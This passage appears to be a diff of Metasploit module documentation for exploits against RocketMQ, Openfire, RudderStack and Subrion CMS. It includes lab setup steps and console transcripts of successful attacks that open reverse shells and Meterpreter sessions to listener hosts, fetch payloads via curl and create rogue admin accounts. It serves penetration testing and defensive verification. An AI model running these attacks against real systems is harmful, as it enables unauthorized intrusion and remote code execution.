of a JWT can be set using the `TOKEN` option. This module does not support authentication using a client certificate.
|
||||
|
||||
Verified against 1.12.1, 1.12.1-RC2, and 1.20.0
|
||||
|
||||
### Configuring a Vulnerable Environment
|
||||
|
||||
#### Windows
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
## Vulnerable Application
|
||||
|
||||
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
|
||||
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
|
||||
the update configuration function to execute commands as the system users that RocketMQ is running as.
|
||||
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
|
||||
|
||||
### Setup
|
||||
|
||||
#### Docker setup
|
||||
Instructions taken from https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT
|
||||
|
||||
```
|
||||
docker pull apache/rocketmq:4.9.4
|
||||
# Start nameserver
|
||||
docker run --rm --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
|
||||
# Start Broker
|
||||
docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Do: ` use exploit/multi/http/apache_rocketmq_update_config`.
|
||||
1. Set the `RHOST` and `LHOST` options.
|
||||
1. Run the module.
|
||||
1. Receive a session in the context of the user running the RocketMQ application.
|
||||
|
||||
## Options
|
||||
|
||||
### BROKER_PORT
|
||||
The port the target RocketMQ Broker component is running on. If left unset the default port will be used if a Broker
|
||||
port associated with the RHOST cannot be determined from querying the RocketMQ NameServer.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker container running RocketMQ 4.9.4, Target: Automatic (Unix In-Memory)
|
||||
|
||||
```
|
||||
msf6 > use multi/http/apache_rocketmq_update_config
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158
|
||||
FETCH_SRVHOST => 172.16.199.158
|
||||
msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158
|
||||
lhost => 172.16.199.158
|
||||
msf6 exploit(multi/http/apache_rocketmq_update_config) > options
|
||||
|
||||
Module options (exploit/multi/http/apache_rocketmq_update_config):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BROKER_PORT 10911 no The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the
|
||||
NameServer response (recommended)
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
|
||||
l
|
||||
RPORT 9876 yes The RocketMQ NameServer port (TCP)
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME OAvAHUouS no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST 172.16.199.158 yes Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 172.16.199.158 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic (Unix In-Memory)
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/apache_rocketmq_update_config) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.158:4444
|
||||
[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
|
||||
[*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911
|
||||
[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
|
||||
[*] Sending stage (3045348 bytes) to 172.17.0.3
|
||||
[*] 127.0.0.1:9876 - Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted
|
||||
[+] 127.0.0.1:9876 - Determined the original $ROCKETMQ_HOME: /home/rocketmq/rocketmq-4.9.4
|
||||
[*] 127.0.0.1:9876 - Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value
|
||||
[*] Meterpreter session 5 opened (172.16.199.158:4444 -> 172.17.0.3:35532) at 2023-07-04 11:26:58 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: rocketmq
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.3
|
||||
OS : CentOS 7.9.2009 (Linux 5.15.0-76-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,190 @@
|
||||
## Vulnerable Application
|
||||
`Openfire's` administrative console, a web-based application, was found to be vulnerable to a path traversal attack
|
||||
via the setup environment using the path `http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/`.
|
||||
Endpoints such as `log.jsp`, `user-groups.jsp` and `user-create.jsp` can be used to gain unauthorized admin access.
|
||||
It allows an unauthenticated user to use the unauthenticated `Openfire` Setup Environment in an already configured
|
||||
`Openfire` environment to access restricted pages in the `Openfire Admin Console` reserved for administrative users.
|
||||
|
||||
This module will use the vulnerability to create a new admin user that will be used to upload a `Openfire` management plugin
|
||||
weaponized with a `Java` native payload that triggers an RCE.
|
||||
The vulnerability affects all versions of `Openfire` that have been released since April 2015, starting with version `3.10.0`.
|
||||
The problem has been patched in `Openfire` release `4.7.5` and `4.6.8`, and further improvements will be included
|
||||
in the first version on the `4.8` branch, which is version `4.8.0`.
|
||||
|
||||
This module has been tested on:
|
||||
- [ ] Ubuntu Linux 22.04.
|
||||
* Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
|
||||
* Java 7, 8, 17
|
||||
- [ ] Windows Server 2019 Datacenter
|
||||
* Openfire 4.7.3
|
||||
* Java 20
|
||||
|
||||
**Instructions for an Openfire installation:**
|
||||
Download Openfire releases [here](https://github.com/igniterealtime/Openfire/releases?page=1)
|
||||
Follow installation instructions [here](https://download.igniterealtime.org/openfire/docs/latest/documentation/install-guide.html)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set target <0=Java Universal>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options
|
||||
|
||||
Module options (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ADMINNAME no Openfire admin user name, (default: random)
|
||||
PLUGINAUTHOR no Openfire plugin author, (default: random)
|
||||
PLUGINDESC no Openfire plugin description, (default: random)
|
||||
PLUGINNAME no Openfire plugin base name, (default: random)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 9090 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the web application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/shell/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Java Universal
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
The uripath to the `Openfire Admin Console`. Default set to `/` which is the standard for `Openfire`.
|
||||
|
||||
### ADMINNAME
|
||||
`Openfire` admin user name option to create a new admin user. User name will be randomized if not set.
|
||||
|
||||
### PLUGINAUTHOR
|
||||
`Openfire` plugin author to set the name of the plugin author. Author name will be randomized if not set.
|
||||
|
||||
### PLUGINDESC
|
||||
`Openfire` plugin description to update the description of the plugin. Description will be randomized if not set.
|
||||
|
||||
### PLUGINNAME
|
||||
`Openfire` plugin name to set the plugin name. Plugin name will be randomized if not set.
|
||||
|
||||
## Scenarios
|
||||
### Ubuntu 22.04 - Openfire 4.7.0 - java/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Openfire version is 4.7.0
|
||||
[*] Grabbing the cookies.
|
||||
[*] JSESSIONID=node010hllcuuhb19x13etracg8jjxk24.node0
|
||||
[*] csrf=Lc9ZXFTo6H3bnC1
|
||||
[*] Adding a new admin user.
|
||||
[*] Logging in with admin user "jdajefap" and password "W3EozCK8Nx".
|
||||
[*] Upload and execute plugin "U6zVD3dY" with payload "java/meterpreter/reverse_tcp".
|
||||
[*] Sending stage (58851 bytes) to 192.168.201.59
|
||||
[*] Meterpreter session 33 opened (192.168.201.10:4444 -> 192.168.201.59:60420) at 2023-07-08 10:33:16 +0000
|
||||
[!] Plugin "U6zVD3dY" need manually clean-up via Openfire Admin console.
|
||||
[!] Admin user "jdajefap" need manually clean-up via Openfire Admin console.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: openfire
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux 5.15.0-76-generic (amd64)
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : java/linux
|
||||
meterpreter >
|
||||
```
|
||||
### Windows Server 2019 Datacenter - Openfire 4.7.3 - java/shell/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Openfire version is 4.7.4
|
||||
[*] Grabbing the cookies.
|
||||
[*] JSESSIONID=node01dr68xhv8giop14zogvh0ycnt13.node0
|
||||
[*] csrf=mRz62R9hab6YAgt
|
||||
[*] Adding a new admin user.
|
||||
[*] Logging in with admin user "qkcvdmmevuvw" and password "tO0gWgDrM4".
|
||||
[*] Upload and execute plugin "XZl3TKb1ayogynR" with payload "java/shell/reverse_tcp".
|
||||
[*] Sending stage (2952 bytes) to 192.168.201.57
|
||||
[!] Plugin "XZl3TKb1ayogynR" need manually clean-up via Openfire Admin console.
|
||||
[!] Admin user "qkcvdmmevuvw" need manually clean-up via Openfire Admin console.
|
||||
[*] Command shell session 32 opened (192.168.201.10:4444 -> 192.168.201.57:50171) at 2023-07-08 10:31:01 +0000
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.17763.107]
|
||||
-----
|
||||
|
||||
|
||||
C:\Program Files\Openfire\bin>systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: WIN-HHRQENPDSRS
|
||||
OS Name: Microsoft Windows Server 2019 Datacenter
|
||||
OS Version: 10.0.17763 N/A Build 17763
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Server
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: Windows User
|
||||
Registered Organization:
|
||||
Product ID: 00430-00000-00000-AA500
|
||||
Original Install Date: 1/23/2023, 4:51:06 AM
|
||||
System Boot Time: 7/8/2023, 2:16:23 AM
|
||||
System Manufacturer: innotek GmbH
|
||||
System Model: VirtualBox
|
||||
System Type: x64-based PC
|
||||
Processor(s): 1 Processor(s) Installed.
|
||||
[01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2306 Mhz
|
||||
BIOS Version: innotek GmbH VirtualBox, 12/1/2006
|
||||
Windows Directory: C:\Windows
|
||||
System Directory: C:\Windows\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
|
||||
Total Physical Memory: 2,048 MB
|
||||
Available Physical Memory: 728 MB
|
||||
Virtual Memory: Max Size: 3,469 MB
|
||||
Virtual Memory: Available: 1,523 MB
|
||||
Virtual Memory: In Use: 1,946 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: N/A
|
||||
Hotfix(s): 1 Hotfix(s) Installed.
|
||||
[01]: KB4464455
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Desktop Adapter
|
||||
Connection Name: Ethernet
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.201.1
|
||||
IP address(es)
|
||||
[01]: 192.168.201.57
|
||||
[02]: fe80::b089:6587:7273:231e
|
||||
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
|
||||
|
||||
C:\Program Files\Openfire\bin>
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,63 @@
|
||||
## Vulnerable Application
|
||||
|
||||
RudderStack is an open-source Customer Data Platform (CDP) that helps organizations collect,
|
||||
unify, and route customer data to various destinations.
|
||||
A Customer Data Platform is a software system that centralizes and manages customer data from multiple sources,
|
||||
providing a unified view of customer interactions and behaviors.
|
||||
RudderStack is an independent, stand-alone system with a dependency only on the database (PostgreSQL).
|
||||
Its backend is written in Go with a rich UI written in React.js.
|
||||
|
||||
This Metasploit exploit module targets a SQL injection vulnerability (CVE-2023-30625) in RudderStack's `rudder-server`,
|
||||
an open-source Customer Data Platform (CDP). The vulnerability affects versions of `rudder-server` before 1.3.0-rc.1.
|
||||
By exploiting this flaw, an attacker can execute arbitrary SQL commands,
|
||||
potentially leading to Remote Code Execution (RCE) since the `rudder` role in PostgreSQL has superuser permissions by default.
|
||||
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
|
||||
Check [here](https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/) for full disclosure writeup.
|
||||
|
||||
**Note: The backend code of rudder-server is written with Golang and can also be compiled for Windows.
|
||||
Due to the insufficient build instructions for Windows platforms, the Windows target is disabled in this exploit module.**
|
||||
|
||||
## Testing
|
||||
For installing the vulnerable version follow the steps below,
|
||||
1. Download [docker-compose.yml](https://raw.githubusercontent.com/rudderlabs/rudder-server/master/rudder-docker.yml) file.
|
||||
2. Replace `<your_workspace_token>` in this file with your workspace workspace-token
|
||||
Check [here](https://www.rudderstack.com/docs/get-started/rudderstack-open-source/data-plane-setup/docker/#workspace-token)
|
||||
for obtaining workspace-token.
|
||||
3. Edit `rudder-server:latest` version as `rudder-server:1.2.5` inside the docker-compose.yml file.
|
||||
4. Run `docker compose -f rudder-docker.yml up -d`
|
||||
|
||||
After these steps the rudder-server API will be exposed on the `http://localhost:8080/` address.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. msfconsole
|
||||
2. Do: `use exploit/multi/http/rudder_server_sqli_rce`
|
||||
3. Do: `set RHOST [IP]`
|
||||
4. Do: `set RPORT [PORT]`
|
||||
5. Do: `check`
|
||||
6. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/rudder_server_sqli_rce
|
||||
[*] Using configured payload cmd/unix/reverse_netcat
|
||||
msf6 exploit(multi/http/rudder_server_sqli_rce) > set rhosts 192.168.1.20
|
||||
rhosts => 192.168.1.20
|
||||
msf6 exploit(multi/http/rudder_server_sqli_rce) > set lhost 192.168.1.10
|
||||
lhost => 192.168.1.10
|
||||
msf6 exploit(multi/http/rudder_server_sqli_rce) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(multi/http/rudder_server_sqli_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
|
||||
[*] Detected rudder version: Unknown
|
||||
[*] Triggering RCE via crafted SQL query...
|
||||
id
|
||||
uid=70(postgres) gid=70(postgres) groups=70(postgres),70(postgres)
|
||||
|
||||
```
|
||||
@@ -0,0 +1,632 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Intelliants Subrion CMS Version less than or equal to 4.2.1 (latest unpatched version as of June 14, 2018)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* Subrion CMS v4.1.0 with Docker on Debian 10
|
||||
* Subrion CMS v4.1.0 with Docker on Windows 10
|
||||
* Subrion CMS v4.2.1 with XAMPP on Windows Server 2016
|
||||
* Subrion CMS v4.2.1 with XAMPP on Windows 10
|
||||
* Subrion CMS v4.2.1 with LAMP on Debian 10
|
||||
* Subrion CMS v4.2.1 with LAMP on Ubuntu 20.04
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an authenticated file upload vulnerability in Subrion CMS versions 4.2.1 and lower.
|
||||
The vulnerability is caused by the `.htaccess` file not preventing the execution of `.pht`, `.phar`, and `.xhtml` files.
|
||||
Files with these extensions are not included in the `.htaccess` blacklist, hence these files can be uploaded and executed to
|
||||
achieve remote code execution. In this module, a `.phar` file with a randomized name is uploaded and executed to receive a
|
||||
Meterpreter session on the target. Afterwards, the file deletes itself, except on Windows OSes.
|
||||
|
||||
## Setup
|
||||
|
||||
### Subrion CMS v4.1.0 Installation with Docker on any OS
|
||||
|
||||
The easiest way to install Subrion CMS v4.1.0 on any operating system would be to use the `docker-compose.yml` script below,
|
||||
which is a slightly modified version provided in the [official repo](https://github.com/intelliants/docker-subrion#-via-docker-compose),
|
||||
which is also on [DockerHub](https://hub.docker.com/r/intelliants/subrion). The difference is that when container names are specified,
|
||||
there is no need to use the MySQL container's IP address when setting up the final stage of the installation.
|
||||
|
||||
```yml
|
||||
version: '3'
|
||||
|
||||
services:
|
||||
subrion:
|
||||
image: intelliants/subrion
|
||||
container_name: subrion
|
||||
links:
|
||||
- subriondb:mysql
|
||||
ports:
|
||||
- 8080:80
|
||||
environment:
|
||||
SUBRION_DB_PASSWORD: secretpass
|
||||
|
||||
subriondb:
|
||||
image: mysql:5.6
|
||||
container_name: subriondb
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: secretpass
|
||||
```
|
||||
|
||||
Run:
|
||||
|
||||
```sh
|
||||
docker-compose up
|
||||
```
|
||||
|
||||
and wait for the containers to complete initialization. Once the containers are up and running, modify
|
||||
the `/etc/apache2/conf-enabled/docker-php.conf` file and restart the Apache server by executing the following commands:
|
||||
|
||||
```sh
|
||||
docker exec subrion bash -c "sed -i'' 's/<FilesMatch .*/<FilesMatch \\.(php|phar)$>/' /etc/apache2/conf-enabled/docker-php.conf"
|
||||
docker exec subrion bash -c '/etc/init.d/apache2 reload'
|
||||
```
|
||||
|
||||
The reason for modifying this file is because the default Apache container configuration only allows parsing and execution
|
||||
of `.php` files, not `.phar` files. The replacement is as follows:
|
||||
|
||||
**From matching only `.php` file extensions**
|
||||
|
||||
```html
|
||||
<FilesMatch "\.php$">
|
||||
SetHandler application/x-httpd-php
|
||||
</FilesMatch>
|
||||
```
|
||||
|
||||
**to matching both `.php` and `.phar` file extensions:**
|
||||
|
||||
```html
|
||||
<FilesMatch "\.(php|phar)$">
|
||||
SetHandler application/x-httpd-php
|
||||
</FilesMatch>
|
||||
```
|
||||
|
||||
After this, navigate to `localhost:8080/install` to set up the final installation process.
|
||||
Verify that the `Pre-Installation Check` passes, accept the `Subrion License`,
|
||||
and then fill in the following fields in the `Configuration` page:
|
||||
|
||||
```
|
||||
MySQL Configuration:
|
||||
|
||||
DB Hostname: subriondb (the MySQL container name)
|
||||
DB Username: root
|
||||
DB Password: secretpass
|
||||
DB Name: subrion
|
||||
DB Port: 3306 (default)
|
||||
Table Prefix: sbr410_ (default)
|
||||
|
||||
Administrator Configuration:
|
||||
|
||||
Username: admin
|
||||
Password: 123456
|
||||
Confirm: 123456
|
||||
Email: anyemail@mail.com
|
||||
```
|
||||
|
||||
Finally, navigate to `http://localhost:8080/panel/` and login as an Administrator to confirm successful setup.
|
||||
|
||||
### Subrion CMS v4.2.1 Installation with XAMPP on Windows 10
|
||||
|
||||
Install Subrion CMS v4.2.1 with XAMPP by following the steps below:
|
||||
|
||||
1. Download and install [XAMPP 7.4.3](https://xampp.en.uptodown.com/windows/download/2196816) or below.
|
||||
|
||||
2. Download and expand the [Subrion CMS v4.2.1](https://subrion.org/download/) (or v4.1.5) zip file into the `C:\xampp\htdocs\` folder,
|
||||
after deleting the default files within.
|
||||
|
||||
3. Modify the `C:\xampp\apache\conf\extra\httpd-xampp.conf` file by changing the lines:
|
||||
|
||||
```html
|
||||
<FilesMatch "\.php$">
|
||||
SetHandler application/x-httpd-php
|
||||
</FilesMatch>
|
||||
```
|
||||
|
||||
into
|
||||
|
||||
```html
|
||||
<FilesMatch "\.(php|phar)$">
|
||||
SetHandler application/x-httpd-php
|
||||
</FilesMatch>
|
||||
```
|
||||
|
||||
4. Restart Apache from the XAMPP Control Panel.
|
||||
|
||||
5. Now, add a new database with name `subrion` from the PHPMyAdmin page at `http://localhost/phpmyadmin`
|
||||
and execute the following SQL code:
|
||||
|
||||
```sql
|
||||
CREATE DATABASE subrion;
|
||||
|
||||
/* select the 'subrion' database and run the following: */
|
||||
GRANT ALL PRIVILEGES ON subrion.* TO root@localhost IDENTIFIED BY "" WITH GRANT OPTION; FLUSH PRIVILEGES;
|
||||
```
|
||||
|
||||
6. After this, navigate to `http://localhost/install` to set up the final installation process.
|
||||
Verify that the `Pre-Installation Check` passes, accept the `Subrion License`,
|
||||
and then fill in the following fields in the `Configuration` page:
|
||||
|
||||
```
|
||||
MySQL Configuration:
|
||||
|
||||
DB Hostname: localhost (default)
|
||||
DB Username: root
|
||||
DB Password: (blank password)
|
||||
DB Name: subrion
|
||||
DB Port: 3306 (default)
|
||||
Table Prefix: sbr421_ (default)
|
||||
|
||||
Administrator Configuration:
|
||||
|
||||
Username: admin
|
||||
Password: 123456
|
||||
Confirm: 123456
|
||||
Email: anyemail@mail.com
|
||||
```
|
||||
|
||||
7. Finally, navigate to `http://localhost:8080/panel/` and login as an Administrator to confirm successful setup.
|
||||
|
||||
### Subrion CMS v4.2.1 Installation with LAMP Stack on Debian 10
|
||||
|
||||
According to the [official installation page](https://github.com/intelliants/subrion/wiki/Installation),
|
||||
the setup for [Subrion CMS v4.2.1](http://tools.subrion.org/get/latest.zip) requires at least:
|
||||
|
||||
- Apache Server 1.3 or above (with `mod_rewrite`) installed
|
||||
- PHP version 5 or above (with extensions GD lib, XML lib, FreeType installed)
|
||||
- MySQL version 4.1 or above
|
||||
|
||||
LAMP is a recommended stack, so this module was tested on a Debian 10 VM along with the applications listed above.
|
||||
Installing Subrion can be somewhat tedious, and quite a few things can go wrong, so a quick and easy way would be
|
||||
to run the following script on a fresh image of Debian 10 with `sudo` user permissions. To be able to actually
|
||||
copy and paste the script, `open-vm-tools` and `open-vm-tools-desktop` need to be installed via `apt` if using
|
||||
VMware Workstation Player. Website links are also provided as reference to see what the commands are doing.
|
||||
|
||||
```sh
|
||||
#!/bin/bash
|
||||
|
||||
# to be able to copy and paste, and add firewall tool
|
||||
sudo apt update -y && sudo apt upgrade -y
|
||||
sudo apt install -y vim ufw curl unzip open-vm-tools open-vm-tools-desktop
|
||||
sudo systemctl restart ufw
|
||||
sudo systemctl enable ufw
|
||||
|
||||
# install mysql v5.7
|
||||
# https://computingforgeeks.com/how-to-install-mysql-on-debian-linux-system/?expand_article=1
|
||||
wget -P ~/Downloads/ https://dev.mysql.com/get/mysql-apt-config_0.8.18-1_all.deb
|
||||
sudo dpkg -i ~/Downloads/mysql-apt-config_0.8.18-1_all.deb
|
||||
sudo apt update -y && sudo apt upgrade -y
|
||||
|
||||
# if the above gives an error, run:
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 467B942D3A79BD29
|
||||
sudo apt update -y && sudo apt upgrade -y
|
||||
|
||||
# NOTE: I installed MySQL 5.7 in my first two attempts on a fresh Debian 10, but can't install it again afterwards because of error:
|
||||
# E: Unable to locate package mysql-community-server
|
||||
# If this happens, use Docker to serve a MySQL container:
|
||||
# sudo apt install -y default-mysql-server docker.io
|
||||
# sudo docker run --name subriondb -e MYSQL_ROOT_PASSWORD=root -d mysql:5.7.42-debian
|
||||
# sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' subriondb
|
||||
# mysql -h [SUBRIONDB_IP] -u root -proot
|
||||
# mysql -h [SUBRIONDB_IP] -u root -proot -e 'CREATE DATABASE subrion; GRANT ALL PRIVILEGES ON subrion.* TO root@[SUBRIONDB_IP] IDENTIFIED BY "root" WITH GRANT OPTION; FLUSH PRIVILEGES;'
|
||||
|
||||
# choose mysql-5.7, set root password "root", and allow MySQL remote connections
|
||||
sudo apt install -y mysql-community-server
|
||||
sudo ufw allow mysql
|
||||
sudo systemctl restart mysql
|
||||
sudo systemctl enable mysql
|
||||
|
||||
# install php v7.3 and php extensions, and enable apache module
|
||||
# https://computingforgeeks.com/install-php-on-debian-linux-systen/?expand_article=1
|
||||
sudo apt update -y && sudo apt upgrade -y
|
||||
sudo apt install -y php php-common
|
||||
sudo apt install -y php-cli php-fpm php-json php-pdo php-mysql php-zip php-gd php-mbstring php-curl php-xml php-pear php-bcmath
|
||||
sudo apt install -y libapache2-mod-php
|
||||
sudo a2enmod php7.*
|
||||
|
||||
# install apache2 v2.4.38
|
||||
sudo apt update -y && sudo apt upgrade -y
|
||||
sudo apt install -y apache2
|
||||
sudo apt install -y libapache2-mod-php
|
||||
sudo a2enmod rewrite
|
||||
sudo systemctl restart apache2
|
||||
sudo systemctl enable apache2
|
||||
|
||||
# create MySQL database for Subrion (with password "root")
|
||||
mysql -u root -proot -e 'CREATE DATABASE subrion; GRANT ALL PRIVILEGES ON subrion.* TO root@localhost IDENTIFIED BY "root" WITH GRANT OPTION; FLUSH PRIVILEGES;'
|
||||
|
||||
# download and install Subrion 4.2.1
|
||||
# https://www.vultr.com/docs/install-subrion-cms-with-lamp-stack-on-ubuntu-20-04/
|
||||
# https://github.com/intelliants/subrion/wiki/Installation
|
||||
sudo mkdir -p /var/www/subrion
|
||||
sudo wget -P /var/www/subrion/ https://tools.subrion.org/get/latest.zip
|
||||
sudo unzip /var/www/subrion/latest.zip -d /var/www/subrion/
|
||||
sudo rm -rf /var/www/subrion/latest.zip
|
||||
sudo chown -R www-data:www-data /var/www/subrion
|
||||
|
||||
# create virtual host for serving vulnerable Subrion website
|
||||
sudo a2dissite /etc/apache2/sites-available/000-default.conf
|
||||
sudo touch /etc/apache2/sites-available/subrion.conf
|
||||
sudo bash -c 'cat << EOF > /etc/apache2/sites-available/subrion.conf
|
||||
<VirtualHost *:80>
|
||||
ServerName subrion-vuln.com
|
||||
DocumentRoot "/var/www/subrion"
|
||||
<Directory "/var/www/subrion">
|
||||
Require all granted
|
||||
Options -Indexes +FollowSymLinks
|
||||
AllowOverride All
|
||||
Order allow,deny
|
||||
Allow from all
|
||||
</Directory>
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
</VirtualHost>
|
||||
EOF'
|
||||
sudo a2ensite subrion.conf
|
||||
sudo systemctl restart apache2
|
||||
echo '127.0.0.1 subrion-vuln.com' | sudo tee -a /etc/hosts
|
||||
|
||||
# navigate to subrion-vuln.com
|
||||
python3 -m webbrowser 'http://subrion-vuln.com'
|
||||
exit
|
||||
```
|
||||
|
||||
This will set up Subrion CMS 4.2.1 as a virtual host website on `http://subrion-vuln.com` using the LAMP stack:
|
||||
|
||||
- Debian 10
|
